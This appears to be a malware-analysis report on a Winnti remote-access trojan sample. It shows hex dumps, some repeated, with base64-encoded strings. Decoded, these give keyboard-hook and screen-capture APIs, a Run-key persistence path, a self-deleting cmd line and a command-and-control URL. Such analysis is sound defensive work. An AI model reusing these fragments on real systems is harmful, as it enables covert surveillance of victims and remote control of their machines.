6e9f4165cb5146a5189e4a2c09cd6fa18669f7e2eacbef7f58dd4b637c4ec5d0

HOSTILE

6e9f4165cb5146a5189e4a2c09cd6fa18669f7e2eacbef7f58dd4b637c4ec5d0 · 92%

AI Winnti RAT with surveillance and injection

Mal-ecule

O₂(As₃C)H₉(Cm₈Db₂DsF₂Hf₅MgOs₇Po₆U₂)Md₂(Bi₅)Th₂

Size 347.7 KB download

First seen 17 days ago

Analyzed 15 days ago

Source virussign.com

Also detected by 3 sources

Winnti sample - file NlaifSvc.dll: virussign.com_8630fa01db6ef6d2fcaf00a32656a830.vir:0x42a6c

.NET RAT capture primitives: virussign.com_8630fa01db6ef6d2fcaf00a32656a830.vir:0x12bd4

Executable PE resource section: virussign.com_8630fa01db6ef6d2fcaf00a32656a830.vir:0x50c00

virussign.com_8630fa01db6ef6d2fcaf00a32656a830.vir pe

0x12af0	00000000000000000000000000000000	................
0x12b00	00000000000000004e504b4900000000	........NPKI....
0x12b10	00000000000000000000000000000000	................
0x12b20	4142434445464748494a4b4c4d4e4f50	ABCDEFGHIJKLMNOP
0x12b30	5152535455565758595a616263646566	QRSTUVWXYZabcdef
0x12b40	6768696a6b6c6d6e6f70717273747576	ghijklmnopqrstuv
0x12b50	7778797a303132333435363738392b2f	wxyz0123456789+/
0x12b60	0000000062584e3259334a304c6d5273	....bXN2Y3J0LmRs
0x12b70	62413d3d000000006433527a59584270	bA==....d3RzYXBp
0x12b80	4d7a49755a4778730000000061573174	MzIuZGxs....aW1t
0x12b90	4d7a49755a4778730000000064334d79	MzIuZGxs....d3My
0x12ba0	587a4d794c6d527362413d3d00000000	XzMyLmRsbA==....
0x12bb0	62584e325a6e637a4d69356b6247773d	bXN2ZnczMi5kbGw=
0x12bc0	000000005a3252704d7a49755a477873	....Z2RpMzIuZGxs
0x12bd0	0000000059585a70593246774d7a4975	....YXZpY2FwMzIu.NET RAT capture primitives
0x12be0	5a477873000000006332686c6247777a	ZGxs....c2hlbGwz
0x12bf0	4d69356b6247773d0000000055326873	Mi5kbGw=....U2hs
0x12c00	643246776153356b6247773d00000000	d2FwaS5kbGw=....
0x12c10	5358426f6248426863476b755a477873	SXBobHBhcGkuZGxs
0x12c20	00000000626d5630595842704d7a4975	....bmV0YXBpMzIu
0x12c30	5a4778730000000064326c756157356c	ZGxs....d2luaW5l
0x12c40	6443356b6247773d0000000064584e6c	dC5kbGw=....dXNl
0x12c50	636a4d794c6d527362413d3d00000000	cjMyLmRsbA==....
0x12c60	63484e6863476b755a47787300000000	cHNhcGkuZGxs....
0x12c70	59575232595842704d7a49755a477873	YWR2YXBpMzIuZGxs
0x12c80	0000000061325679626d56734d7a4975	....a2VybmVsMzIu
0x12c90	5a477873000000005532563052584a79	ZGxs....U2V0RXJy
0x12ca0	62334a4e6232526c0000000062484e30	b3JNb2Rl....bHN0
0x12cb0	636d4e686445453d0000000062484e30	cmNhdEE=....bHN0
0x12cc0	636d4e7463476c420000000051334a6c	cmNtcGlB....Q3Jl
0x12cd0	5958526c526d6c735a55316863484270	YXRlRmlsZU1hcHBp
0x12ce0	626d644200000000523256305447396a	bmdB....R2V0TG9j
0x12cf0	595778556157316c0000000053475668	YWxUaW1l....SGVh
0x12d00	63455a795a57553d0000000054574677	cEZyZWU=....TWFw
0x12d10	566d6c6c6430396d526d6c735a513d3d	Vmlld09mRmlsZQ==
0x12d20	000000005232563053325635546d4674	....R2V0S2V5TmFt
0x12d30	5a56526c654852420000000055325630	ZVRleHRB....U2V0
0x12d40	56326c755a4739336330687662327446	V2luZG93c0hvb2tF
0x12d50	6545453d00000000513246736245356c	eEE=....Q2FsbE5l
0x12d60	65485249623239725258673d00000000	eHRIb29rRXg=....
0x12d70	5657356f6232397256326c755a473933	VW5ob29rV2luZG93
0x12d80	633068766232744665413d3d00000000	c0hvb2tFeA==....
0x12d90	5232563056326c755a47393363305270	R2V0V2luZG93c0Rp
0x12da0	636d566a644739796555453d00000000	cmVjdG9yeUE=....
0x12db0	5232563055484a70646d46305a564279	R2V0UHJpdmF0ZVBy
0x12dc0	62325a70624756545a574e3061573975	b2ZpbGVTZWN0aW9u
0x12dd0	546d46745a584e420000000052325630	TmFtZXNB....R2V0
0x12de0	55484a70646d46305a56427962325a70	UHJpdmF0ZVByb2Zp

0x13088	523256305457396b6457786c53474675	R2V0TW9kdWxlSGFu
0x13098	5a47786c51513d3d000000005532786c	ZGxlQQ==....U2xl
0x130a8	5a58413d00000000535735305a584a75	ZXA=....SW50ZXJu
0x130b8	5a5852506347567551513d3d00000000	ZXRPcGVuQQ==....
0x130c8	535735305a584a755a58525063475675	SW50ZXJuZXRPcGVu
0x130d8	56584a7351513d3d0000000053573530	VXJsQQ==....SW50
0x130e8	5a584a755a5852535a57466b526d6c73	ZXJuZXRSZWFkRmls
0x130f8	5a513d3d00000000535735305a584a75	ZQ==....SW50ZXJu
0x13108	5a5852446247397a5a556868626d5273	ZXRDbG9zZUhhbmRs
0x13118	5a513d3d0000000051334a6c5958526c	ZQ==....Q3JlYXRl
0x13128	52476c795a574e3062334a3551513d3d	RGlyZWN0b3J5QQ==
0x13138	00000000544739685a454e31636e4e76	....TG9hZEN1cnNv
0x13148	636b453d000000005247567a64484a76	ckE=....RGVzdHJv
0x13158	65554e31636e4e7663673d3d00000000	eUN1cnNvcg==....
0x13168	516d78765932744a626e423164413d3d	QmxvY2tJbnB1dA==
0x13178	0000000061325635596d52665a585a6c	....a2V5YmRfZXZl
0x13188	626e513d000000006257393163325666	bnQ=....bW91c2Vf.NET RAT capture primitives
0x13198	5a585a6c626e513d0000000054574677	ZXZlbnQ=....TWFw
0x131a8	566d6c79644856686245746c6555453d	VmlydHVhbEtleUE=
0x131b8	0000000055325630564768795a57466b	....U2V0VGhyZWFk
0x131c8	5247567a6133527663413d3d00000000	RGVza3RvcA==....
0x131d8	5232563056584e6c636b3969616d566a	R2V0VXNlck9iamVj
0x131e8	64456c755a6d39796257463061573975	dEluZm9ybWF0aW9u
0x131f8	51513d3d000000005232563056476879	QQ==....R2V0VGhy
0x13208	5a57466b5247567a6133527663413d3d	ZWFkRGVza3RvcA==
0x13218	0000000053573174556d56735a57467a	....SW1tUmVsZWFz
0x13228	5a554e76626e526c6548513d00000000	ZUNvbnRleHQ=....
0x13238	553068485a5852546347566a61574673	U0hHZXRTcGVjaWFs
0x13248	526d39735a475679554746306145453d	Rm9sZGVyUGF0aEE=
0x13258	0000000056315254526e4a6c5a55316c	....V1RTRnJlZU1l
0x13268	6257397965513d3d0000000055325675	bW9yeQ==....U2Vu
0x13278	5a45316c63334e685a32564200000000	ZE1lc3NhZ2VB....
0x13288	5532563051324677644856795a513d3d	U2V0Q2FwdHVyZQ==
0x13298	0000000056326c755a473933526e4a76	....V2luZG93RnJv
0x132a8	62564276615735300000000055325630	bVBvaW50....U2V0
0x132b8	5132787063474a7659584a6b52474630	Q2xpcGJvYXJkRGF0
0x132c8	59513d3d000000005532563051335679	YQ==....U2V0Q3Vy
0x132d8	633239795547397a0000000052325630	c29yUG9z....R2V0
0x132e8	566d567963326c76626b563451513d3d	VmVyc2lvbkV4QQ==
0x132f8	000000005232563051335679636d5675	....R2V0Q3VycmVu
0x13308	6446526f636d56685a456c6b00000000	dFRocmVhZElk....
0x13318	52327876596d46735457567462334a35	R2xvYmFsTWVtb3J5
0x13328	553352686448567a000000005547397a	U3RhdHVz....UG9z
0x13338	6445316c63334e685a32564200000000	dE1lc3NhZ2VB....
0x13348	5258687064466470626d527664334e46	RXhpdFdpbmRvd3NF
0x13358	65413d3d000000005257353162566470	eA==....RW51bVdp
0x13368	626d527664334d3d00000000526e4a6c	bmRvd3M=....RnJl
0x13378	5a554e76626e4e766247553d00000000	ZUNvbnNvbGU=....

0x13480	00000000523256305532566a64584a70	....R2V0U2VjdXJp
0x13490	64486c455a584e6a636d6c7764473979	dHlEZXNjcmlwdG9y
0x134a0	5132397564484a7662413d3d00000000	Q29udHJvbA==....
0x134b0	51327876633256495957356b6247553d	Q2xvc2VIYW5kbGU=
0x134c0	000000005232563055336c7a64475674	....R2V0U3lzdGVt
0x134d0	52476c795a574e3062334a3551513d3d	RGlyZWN0b3J5QQ==
0x134e0	000000005232563056584e6c636b3568	....R2V0VXNlck5h
0x134f0	6257553d000000005932467751334a6c	bWU=....Y2FwQ3Jl
0x13500	5958526c51324677644856795a566470	YXRlQ2FwdHVyZVdp
0x13510	626d52766430453d0000000059324677	bmRvd0E=....Y2Fw.NET RAT capture primitives
0x13520	5232563052484a70646d56795247567a	R2V0RHJpdmVyRGVz
0x13530	59334a70634852706232354200000000	Y3JpcHRpb25B....
0x13540	51334a6c5958526c5132397463474630	Q3JlYXRlQ29tcGF0
0x13550	61574a735a554a706447316863413d3d	aWJsZUJpdG1hcA==
0x13560	000000005232563052456c436158527a	....R2V0RElCaXRz
0x13570	00000000516d6c30516d783000000000	....Qml0Qmx0....
0x13580	51334a6c5958526c52456c435532566a	Q3JlYXRlRElCU2Vj
0x13590	64476c7662673d3d0000000052475673	dGlvbg==....RGVs
0x135a0	5a58526c52454d3d0000000055325673	ZXRlREM=....U2Vs
0x135b0	5a574e3054324a715a574e3000000000	ZWN0T2JqZWN0....
0x135c0	524756735a58526c54324a715a574e30	RGVsZXRlT2JqZWN0
0x135d0	0000000051334a6c5958526c51323974	....Q3JlYXRlQ29t
0x135e0	6347463061574a735a55524400000000	cGF0aWJsZURD....
0x135f0	5232563055336c7a644756745247566d	R2V0U3lzdGVtRGVm
0x13600	59585673644578445355513d00000000	YXVsdExDSUQ=....
0x13610	5257317764486c4462476c77596d3968	RW1wdHlDbGlwYm9h
0x13620	636d513d000000005433426c626b4e73	cmQ=....T3BlbkNs
0x13630	61584269623246795a413d3d00000000	aXBib2FyZA==....
0x13640	5232563056326c755a47393356476879	R2V0V2luZG93VGhy
0x13650	5a57466b55484a765932567a63306c6b	ZWFkUHJvY2Vzc0lk
0x13660	00000000523256305132397463484a6c	....R2V0Q29tcHJl
0x13670	63334e6c5a455a70624756546158706c	c3NlZEZpbGVTaXpl
0x13680	51513d3d000000005547463061455a70	QQ==....UGF0aEZp
0x13690	6247564665476c7a64484e4200000000	bGVFeGlzdHNB....
0x136a0	553068455a57786c6447564c5a586c42	U0hEZWxldGVLZXlB
0x136b0	0000000055335279	....U3Ry

0x429ec	e5c531f96087c2189252d670c8ebdc10	..1.`....R.p....
0x429fc	dc4d50f01ffdfd80d7926799b43bc29d	.MP.......g..;..
0x42a0c	a0764d6e8dcbc44f7d2862219cbf0f99	.vMn...O}(b!....
0x42a1c	129717713635ca8a0700a03f5c4d7d73	...q65.....?\M}s
0x42a2c	89e541984e40482408d45a54c904b9ee	..A.N@H$..ZT....
0x42a3c	da2c15689b9647845196ed924111be93	.,.h..G.Q...A...
0x42a4c	037eb8e446465cc3ec941e66a7042586	.~..FF\....f..%.
0x42a5c	8df08984c3c8da02c710c8ebac17da47	...............G
0x42a6c	637261636b65642062792078696d6fee	cracked by ximo.Winnti sample - file NlaifSvc.dll
0x42a7c	e688ba91917905422b7b3513addc40d1	.....y.B+{5...@.
0x42a8c	f6b3d49242c7f3bacb3a1039a6050ddf	....B....:.9....
0x42a9c	004cfc5d495c76b66ad35c707548b798	.L.]I\v.j.\puH..
0x42aac	510e7e01fdb5a701216f2213100198ee	Q.~.....!o".....
0x42abc	9ad13d7a013a60355bda67380afa8816	..=z.:`5[.g8....
0x42acc	705d27a11a364b3a48d22144b9fe436c	p]'..6K:H.!D..Cl
0x42adc	03bed8f42ba297d493ed782abc4c808d	....+.....x*.L..
0x42aec	1e970d84ea5adaeff08436aa354905f2	.....Z....6.5I..
0x42afc	caf4048ea9ad878ccea5285d94abaf81	..........(]....
0x42b0c	ec43514162050cb2eea88fa4a8707338	.CQAb........ps8
0x42b1c	0d17b1035c2add96782d637261636b65	....\*..x-cracke
0x42b2c	642062792078696d6fb185e0f4efd396	d by ximo.......
0x42b3c	b2055fa562648c69b573286094294d64	.._.bd.i.s(`.)Md
0x42b4c	228ca05a2e0c7222122749e266dd97c1	"..Z..r".'I.f...
0x42b5c	d5e783db677c9538daa89000faeccf73	....g\|.8.......s
0x42b6c	e909fdcbcc8aa0005455e7e50786d1	........TU.....

Objectives

0x14c54	5365617263684f726465720047617465	SearchOrder.Gate
0x14c64	776179436f73744d6574726963000000	wayCostMetric...
0x14c74	44656661756c74495047617465776179	DefaultIPGateway
0x14c84	00000000536574476174657761797300	....SetGateways.
0x14c94	57696e33325f4e6574776f726b416461	Win32_NetworkAda
0x14ca4	70746572436f6e66696775726174696f	pterConfiguratio
0x14cb4	6e2e496e6465783d00000000496e6465	n.Index=....Inde
0x14cc4	7800000057696e33325f4e6574776f72	x...Win32_Networ
0x14cd4	6b41646170746572436f6e6669677572	kAdapterConfigur
0x14ce4	6174696f6e0000004950456e61626c65	ation...IPEnable
0x14cf4	643d5452554500002057484552452000	d=TRUE.. WHERE .
0x14d04	53454c454354202a2046524f4d200000	SELECT * FROM ..
0x14d14	52004f004f0054005c00430049004d00	R.O.O.T.\.C.I.M.
0x14d24	56003200000000002a0000005c000000	V.2.....*...\...
0x14d34	4c326c745957646c4c6e426f63413d3d	L2ltYWdlLnBocA==
0x14d44	000000002a2e2a00613a0000433a5c50	......a:..C:\P
0x14d54	726f6772616d2046696c657300000000	rogram Files....
0x14d64	5932316b4c6d56345a53417659794270	Y21kLmV4ZSAvYyBp
0x14d74	63474e76626d5a705a7941765a6d7831	cGNvbmZpZyAvZmx1
0x14d84	6332686b626e4d3d0000000073766368	c2hkbnM=....svch
0x14d94	736f742e657865005530394756466442	sot.exe.U09GVFdB
0x14da4	556b56635845317059334a766332396d	UkVcXE1pY3Jvc29m
0x14db4	6446786356326c755a47393363317863	dFxcV2luZG93c1xc
0x14dc4	51335679636d567564465a6c636e4e70	Q3VycmVudFZlcnNp
0x14dd4	6232356358464a3162673d3d00000000	b25cXFJ1bg==....
0x14de4	633a5c25642e6c6f6700000061485230	c:\%d.log...aHR0
0x14df4	63446f764c7a45774e7934784e6a4d75	cDovLzEwNy4xNjMu
0x14e04	4e5459754d5445774f6a45344e544d77	NTYuMTEwOjE4NTMw
0x14e14	4c3355784d5449354c6d68306257773d	L3UxMTI5Lmh0bWw=
0x14e24	000000005932316b4c6d56345a534176	....Y21kLmV4ZSAv
0x14e34	597942776157356e494445794e793477	YyBwaW5nIDEyNy4w
0x14e44	4c6a41754d5341746269417a4a6e4a6b	LjAuMSAtbiAzJnJk
0x14e54	4943397a494339784943496c6379493d	IC9zIC9xICIlcyI=
0x14e64	000000008325e0005c5c2e5c50485953	.....%..\\.\PHYS
0x14e74	4943414c445249564525640025303258	ICALDRIVE%d.%02X
0x14e84	25303258253032582530325825303258	%02X%02X%02X%02X
0x14e94	2530325800000000696e636f6d706174	%02X....incompat
0x14ea4	69626c652076657273696f6e00000000	ible version....
0x14eb4	627566666572206572726f7200000000	buffer error....
0x14ec4	696e73756666696369656e74206d656d	insufficient mem
0x14ed4	6f72790064617461206572726f720000	ory.data error..
0x14ee4	73747265616d206572726f7200000000	stream error....
0x14ef4	66696c65206572726f72000073747265	file error..stre
0x14f04	616d20656e6400006e65656420646963	am end..need dic

0x14c54	5365617263684f726465720047617465	SearchOrder.Gate
0x14c64	776179436f73744d6574726963000000	wayCostMetric...
0x14c74	44656661756c74495047617465776179	DefaultIPGateway
0x14c84	00000000536574476174657761797300	....SetGateways.
0x14c94	57696e33325f4e6574776f726b416461	Win32_NetworkAda
0x14ca4	70746572436f6e66696775726174696f	pterConfiguratio
0x14cb4	6e2e496e6465783d00000000496e6465	n.Index=....Inde
0x14cc4	7800000057696e33325f4e6574776f72	x...Win32_Networ
0x14cd4	6b41646170746572436f6e6669677572	kAdapterConfigur
0x14ce4	6174696f6e0000004950456e61626c65	ation...IPEnable
0x14cf4	643d5452554500002057484552452000	d=TRUE.. WHERE .
0x14d04	53454c454354202a2046524f4d200000	SELECT * FROM ..
0x14d14	52004f004f0054005c00430049004d00	R.O.O.T.\.C.I.M.
0x14d24	56003200000000002a0000005c000000	V.2.....*...\...
0x14d34	4c326c745957646c4c6e426f63413d3d	L2ltYWdlLnBocA==
0x14d44	000000002a2e2a00613a0000433a5c50	......a:..C:\P
0x14d54	726f6772616d2046696c657300000000	rogram Files....
0x14d64	5932316b4c6d56345a53417659794270	Y21kLmV4ZSAvYyBp
0x14d74	63474e76626d5a705a7941765a6d7831	cGNvbmZpZyAvZmx1
0x14d84	6332686b626e4d3d0000000073766368	c2hkbnM=....svch
0x14d94	736f742e657865005530394756466442	sot.exe.U09GVFdB
0x14da4	556b56635845317059334a766332396d	UkVcXE1pY3Jvc29m
0x14db4	6446786356326c755a47393363317863	dFxcV2luZG93c1xc
0x14dc4	51335679636d567564465a6c636e4e70	Q3VycmVudFZlcnNp
0x14dd4	6232356358464a3162673d3d00000000	b25cXFJ1bg==....
0x14de4	633a5c25642e6c6f6700000061485230	c:\%d.log...aHR0
0x14df4	63446f764c7a45774e7934784e6a4d75	cDovLzEwNy4xNjMu
0x14e04	4e5459754d5445774f6a45344e544d77	NTYuMTEwOjE4NTMw
0x14e14	4c3355784d5449354c6d68306257773d	L3UxMTI5Lmh0bWw=
0x14e24	000000005932316b4c6d56345a534176	....Y21kLmV4ZSAv
0x14e34	597942776157356e494445794e793477	YyBwaW5nIDEyNy4w
0x14e44	4c6a41754d5341746269417a4a6e4a6b	LjAuMSAtbiAzJnJk
0x14e54	4943397a494339784943496c6379493d	IC9zIC9xICIlcyI=
0x14e64	000000008325e0005c5c2e5c50485953	.....%..\\.\PHYS
0x14e74	4943414c445249564525640025303258	ICALDRIVE%d.%02X
0x14e84	25303258253032582530325825303258	%02X%02X%02X%02X
0x14e94	2530325800000000696e636f6d706174	%02X....incompat
0x14ea4	69626c652076657273696f6e00000000	ible version....
0x14eb4	627566666572206572726f7200000000	buffer error....
0x14ec4	696e73756666696369656e74206d656d	insufficient mem
0x14ed4	6f72790064617461206572726f720000	ory.data error..
0x14ee4	73747265616d206572726f7200000000	stream error....
0x14ef4	66696c65206572726f72000073747265	file error..stre
0x14f04	616d20656e6400006e65656420646963	am end..need dic

0x4c7a0	663689109c8d642430e9291c000066c7	f6....d$0.)...f.
0x4c7b0	0424de9f895500e91e0b0000ff342466	.$...U.......4$f
0x4c7c0	368910609c9c8d642430e9081c000031	6..`...d$0.....1
0x4c7d0	c09c687baaef90e9e6070000ff3532ef	..h{.........52.
0x4c7e0	04108f0424660fbef066ffcd68000000	....$f...f..h...
0x4c7f0	0060e819060000e87e0e0000660fa3c0	.`......~...f...
0x4c800	f6d0e97b07000060e868020000e9e80d	...{...`.h......
0x4c810	0000e90d090000e8721b000066014504	........r...f.E.
0x4c820	60529c8f442424e9c608000089742440	`R..D$$......t$@
0x4c830	e8470c0000e8ed1b0000895c243c5268	.G.........\$<Rh
0x4c840	35c9ed818d642444e9cc0f0000660fa4	5....d$D.....f..
0x4c850	f00ad3f88b45000f8898190000f6c1b3	.....E..........
0x4c860	9c6685fa83c5029c66368b00e8b11200	.f......f6......
0x4c870	009c668945009cff742408ff7424048d	..f.E...t$..t$..
0x4c880	642414e94f1b000066f7c3add8f82f89	d$..O...f...../.
0x4c890	ecd0fd87cb660fbec959660fbafb0766	.....f...Yf....f
0x4c8a0	d3dd5b688e0e7f39f6d98b6c240481db	..[h...9...l$...
0x4c8b0	ea30a27dd46b660f	.0.}.kf.

0x12af0	00000000000000000000000000000000	................
0x12b00	00000000000000004e504b4900000000	........NPKI....
0x12b10	00000000000000000000000000000000	................
0x12b20	4142434445464748494a4b4c4d4e4f50	ABCDEFGHIJKLMNOP
0x12b30	5152535455565758595a616263646566	QRSTUVWXYZabcdef
0x12b40	6768696a6b6c6d6e6f70717273747576	ghijklmnopqrstuv
0x12b50	7778797a303132333435363738392b2f	wxyz0123456789+/
0x12b60	0000000062584e3259334a304c6d5273	....bXN2Y3J0LmRs
0x12b70	62413d3d000000006433527a59584270	bA==....d3RzYXBp
0x12b80	4d7a49755a4778730000000061573174	MzIuZGxs....aW1t
0x12b90	4d7a49755a4778730000000064334d79	MzIuZGxs....d3My
0x12ba0	587a4d794c6d527362413d3d00000000	XzMyLmRsbA==....
0x12bb0	62584e325a6e637a4d69356b6247773d	bXN2ZnczMi5kbGw=
0x12bc0	000000005a3252704d7a49755a477873	....Z2RpMzIuZGxs
0x12bd0	0000000059585a70593246774d7a4975	....YXZpY2FwMzIu
0x12be0	5a477873000000006332686c6247777a	ZGxs....c2hlbGwz
0x12bf0	4d69356b6247773d0000000055326873	Mi5kbGw=....U2hs
0x12c00	643246776153356b6247773d00000000	d2FwaS5kbGw=....
0x12c10	5358426f6248426863476b755a477873	SXBobHBhcGkuZGxs
0x12c20	00000000626d5630595842704d7a4975	....bmV0YXBpMzIu
0x12c30	5a4778730000000064326c756157356c	ZGxs....d2luaW5l
0x12c40	6443356b6247773d0000000064584e6c	dC5kbGw=....dXNl
0x12c50	636a4d794c6d527362413d3d00000000	cjMyLmRsbA==....
0x12c60	63484e6863476b755a47787300000000	cHNhcGkuZGxs....
0x12c70	59575232595842704d7a49755a477873	YWR2YXBpMzIuZGxs
0x12c80	0000000061325679626d56734d7a4975	....a2VybmVsMzIu
0x12c90	5a477873000000005532563052584a79	ZGxs....U2V0RXJy
0x12ca0	62334a4e6232526c0000000062484e30	b3JNb2Rl....bHN0
0x12cb0	636d4e686445453d0000000062484e30	cmNhdEE=....bHN0
0x12cc0	636d4e7463476c420000000051334a6c	cmNtcGlB....Q3Jl
0x12cd0	5958526c526d6c735a55316863484270	YXRlRmlsZU1hcHBp
0x12ce0	626d644200000000523256305447396a	bmdB....R2V0TG9j
0x12cf0	595778556157316c0000000053475668	YWxUaW1l....SGVh
0x12d00	63455a795a57553d0000000054574677	cEZyZWU=....TWFw
0x12d10	566d6c6c6430396d526d6c735a513d3d	Vmlld09mRmlsZQ==
0x12d20	000000005232563053325635546d4674	....R2V0S2V5TmFt
0x12d30	5a56526c654852420000000055325630	ZVRleHRB....U2V0
0x12d40	56326c755a4739336330687662327446	V2luZG93c0hvb2tF
0x12d50	6545453d00000000513246736245356c	eEE=....Q2FsbE5l
0x12d60	65485249623239725258673d00000000	eHRIb29rRXg=....
0x12d70	5657356f6232397256326c755a473933	VW5ob29rV2luZG93
0x12d80	633068766232744665413d3d00000000	c0hvb2tFeA==....
0x12d90	5232563056326c755a47393363305270	R2V0V2luZG93c0Rp
0x12da0	636d566a644739796555453d00000000	cmVjdG9yeUE=....
0x12db0	5232563055484a70646d46305a564279	R2V0UHJpdmF0ZVBy
0x12dc0	62325a70624756545a574e3061573975	b2ZpbGVTZWN0aW9u
0x12dd0	546d46745a584e420000000052325630	TmFtZXNB....R2V0
0x12de0	55484a70646d46305a56427962325a70	UHJpdmF0ZVByb2Zp

0x13088	523256305457396b6457786c53474675	R2V0TW9kdWxlSGFu
0x13098	5a47786c51513d3d000000005532786c	ZGxlQQ==....U2xl
0x130a8	5a58413d00000000535735305a584a75	ZXA=....SW50ZXJu
0x130b8	5a5852506347567551513d3d00000000	ZXRPcGVuQQ==....
0x130c8	535735305a584a755a58525063475675	SW50ZXJuZXRPcGVu
0x130d8	56584a7351513d3d0000000053573530	VXJsQQ==....SW50
0x130e8	5a584a755a5852535a57466b526d6c73	ZXJuZXRSZWFkRmls
0x130f8	5a513d3d00000000535735305a584a75	ZQ==....SW50ZXJu
0x13108	5a5852446247397a5a556868626d5273	ZXRDbG9zZUhhbmRs
0x13118	5a513d3d0000000051334a6c5958526c	ZQ==....Q3JlYXRl
0x13128	52476c795a574e3062334a3551513d3d	RGlyZWN0b3J5QQ==
0x13138	00000000544739685a454e31636e4e76	....TG9hZEN1cnNv
0x13148	636b453d000000005247567a64484a76	ckE=....RGVzdHJv
0x13158	65554e31636e4e7663673d3d00000000	eUN1cnNvcg==....
0x13168	516d78765932744a626e423164413d3d	QmxvY2tJbnB1dA==
0x13178	0000000061325635596d52665a585a6c	....a2V5YmRfZXZl
0x13188	626e513d000000006257393163325666	bnQ=....bW91c2Vf
0x13198	5a585a6c626e513d0000000054574677	ZXZlbnQ=....TWFw
0x131a8	566d6c79644856686245746c6555453d	VmlydHVhbEtleUE=
0x131b8	0000000055325630564768795a57466b	....U2V0VGhyZWFk
0x131c8	5247567a6133527663413d3d00000000	RGVza3RvcA==....
0x131d8	5232563056584e6c636b3969616d566a	R2V0VXNlck9iamVj
0x131e8	64456c755a6d39796257463061573975	dEluZm9ybWF0aW9u
0x131f8	51513d3d000000005232563056476879	QQ==....R2V0VGhy
0x13208	5a57466b5247567a6133527663413d3d	ZWFkRGVza3RvcA==
0x13218	0000000053573174556d56735a57467a	....SW1tUmVsZWFz
0x13228	5a554e76626e526c6548513d00000000	ZUNvbnRleHQ=....
0x13238	553068485a5852546347566a61574673	U0hHZXRTcGVjaWFs
0x13248	526d39735a475679554746306145453d	Rm9sZGVyUGF0aEE=
0x13258	0000000056315254526e4a6c5a55316c	....V1RTRnJlZU1l
0x13268	6257397965513d3d0000000055325675	bW9yeQ==....U2Vu
0x13278	5a45316c63334e685a32564200000000	ZE1lc3NhZ2VB....
0x13288	5532563051324677644856795a513d3d	U2V0Q2FwdHVyZQ==
0x13298	0000000056326c755a473933526e4a76	....V2luZG93RnJv
0x132a8	62564276615735300000000055325630	bVBvaW50....U2V0
0x132b8	5132787063474a7659584a6b52474630	Q2xpcGJvYXJkRGF0
0x132c8	59513d3d000000005532563051335679	YQ==....U2V0Q3Vy
0x132d8	633239795547397a0000000052325630	c29yUG9z....R2V0
0x132e8	566d567963326c76626b563451513d3d	VmVyc2lvbkV4QQ==
0x132f8	000000005232563051335679636d5675	....R2V0Q3VycmVu
0x13308	6446526f636d56685a456c6b00000000	dFRocmVhZElk....
0x13318	52327876596d46735457567462334a35	R2xvYmFsTWVtb3J5
0x13328	553352686448567a000000005547397a	U3RhdHVz....UG9z
0x13338	6445316c63334e685a32564200000000	dE1lc3NhZ2VB....
0x13348	5258687064466470626d527664334e46	RXhpdFdpbmRvd3NF
0x13358	65413d3d000000005257353162566470	eA==....RW51bVdp
0x13368	626d527664334d3d00000000526e4a6c	bmRvd3M=....RnJl
0x13378	5a554e76626e4e766247553d00000000	ZUNvbnNvbGU=....

0x13480	00000000523256305532566a64584a70	....R2V0U2VjdXJp
0x13490	64486c455a584e6a636d6c7764473979	dHlEZXNjcmlwdG9y
0x134a0	5132397564484a7662413d3d00000000	Q29udHJvbA==....
0x134b0	51327876633256495957356b6247553d	Q2xvc2VIYW5kbGU=
0x134c0	000000005232563055336c7a64475674	....R2V0U3lzdGVt
0x134d0	52476c795a574e3062334a3551513d3d	RGlyZWN0b3J5QQ==
0x134e0	000000005232563056584e6c636b3568	....R2V0VXNlck5h
0x134f0	6257553d000000005932467751334a6c	bWU=....Y2FwQ3Jl
0x13500	5958526c51324677644856795a566470	YXRlQ2FwdHVyZVdp
0x13510	626d52766430453d0000000059324677	bmRvd0E=....Y2Fw
0x13520	5232563052484a70646d56795247567a	R2V0RHJpdmVyRGVz
0x13530	59334a70634852706232354200000000	Y3JpcHRpb25B....
0x13540	51334a6c5958526c5132397463474630	Q3JlYXRlQ29tcGF0
0x13550	61574a735a554a706447316863413d3d	aWJsZUJpdG1hcA==
0x13560	000000005232563052456c436158527a	....R2V0RElCaXRz
0x13570	00000000516d6c30516d783000000000	....Qml0Qmx0....
0x13580	51334a6c5958526c52456c435532566a	Q3JlYXRlRElCU2Vj
0x13590	64476c7662673d3d0000000052475673	dGlvbg==....RGVs
0x135a0	5a58526c52454d3d0000000055325673	ZXRlREM=....U2Vs
0x135b0	5a574e3054324a715a574e3000000000	ZWN0T2JqZWN0....
0x135c0	524756735a58526c54324a715a574e30	RGVsZXRlT2JqZWN0
0x135d0	0000000051334a6c5958526c51323974	....Q3JlYXRlQ29t
0x135e0	6347463061574a735a55524400000000	cGF0aWJsZURD....
0x135f0	5232563055336c7a644756745247566d	R2V0U3lzdGVtRGVm
0x13600	59585673644578445355513d00000000	YXVsdExDSUQ=....
0x13610	5257317764486c4462476c77596d3968	RW1wdHlDbGlwYm9h
0x13620	636d513d000000005433426c626b4e73	cmQ=....T3BlbkNs
0x13630	61584269623246795a413d3d00000000	aXBib2FyZA==....
0x13640	5232563056326c755a47393356476879	R2V0V2luZG93VGhy
0x13650	5a57466b55484a765932567a63306c6b	ZWFkUHJvY2Vzc0lk
0x13660	00000000523256305132397463484a6c	....R2V0Q29tcHJl
0x13670	63334e6c5a455a70624756546158706c	c3NlZEZpbGVTaXpl
0x13680	51513d3d000000005547463061455a70	QQ==....UGF0aEZp
0x13690	6247564665476c7a64484e4200000000	bGVFeGlzdHNB....
0x136a0	553068455a57786c6447564c5a586c42	U0hEZWxldGVLZXlB
0x136b0	0000000055335279	....U3Ry

Micro-behaviors

0x1485f	0073000000633a5c77696e646f77735c	.s...c:\windows\
0x1486f	73797374656d33325c64726976657273	system32\drivers
0x1487f	5c25735c25730000004d25730025735c	\%s\%s...M%s.%s\
0x1488f	76657273696f6e2e7478740000257300	version.txt..%s.
0x1489f	0057696e202573205350256400370000	.Win %s SP%d.7..
0x148af	00323030380000000056697374610000	.2008....Vista..
0x148bf	00323030330000000058500000323030	.2003....XP..200
0x148cf	30000000004e540000687474703a2f2f	0....NT..http://
0x148df	0025735c6c616e672e696e6900736561	.%s\lang.ini.sea
0x148ef	72636800002575204d4200000046696e	rch..%u MB...Fin
0x148ff	6420435055204572726f72000050726f	d CPU Error..Pro
0x1490f	636573736f724e616d65537472696e67	cessorNameString
0x1491f	0048415244574152455c444553435249	.HARDWARE\DESCRI
0x1492f	5054494f4e5c53797374656d5c43656e	PTION\System\Cen
0x1493f	7472616c50726f636573736f725c3000	tralProcessor\0.
